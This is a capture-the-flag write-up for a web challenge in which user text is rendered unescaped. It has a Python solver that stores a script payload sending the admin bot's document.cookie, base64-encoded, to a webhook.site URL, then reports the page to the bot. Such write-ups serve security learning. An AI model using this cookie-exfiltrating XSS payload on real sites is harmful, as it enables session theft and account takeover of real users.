plain texts are boring

Challenge Description

Welcome to The Font Lab! We've just released a cool new tool to turn your boring text into aesthetic graffiti like art.

Disclaimer: This web app is currently in its Beta phase, and the rendering engine sometimes acts up if you give it unusual inputs. If you find a bug or spot anything weird, please report the URL using our Report to Admin feature. Our Admin is on standby and will review your submitted link immediately!

TLDR

Stored XSS, user input rendered on a page completely unescaped. Flag set on admin's cookie, and an admin bot that can be triggered to visit the malicious page, allowing us to exfiltrate the flag to a remote server (webhook, etc).

solver

Adjust url and port accordingly

import requests

print(
    requests.post(
        "http://localhost:47126/report",
        data={
            "url": "http://web:5000/view/" + requests.post(
                "http://localhost:47126/",
                data={"text": "<script>fetch('https://webhook.site/30c1b82e-d196-41cf-9625-04646a9eff6d?cookie=' + btoa(document.cookie));</script>"}
            ).url.split('/')[-1]
        }
    ).text
)

then decode the base64 string received on ur listener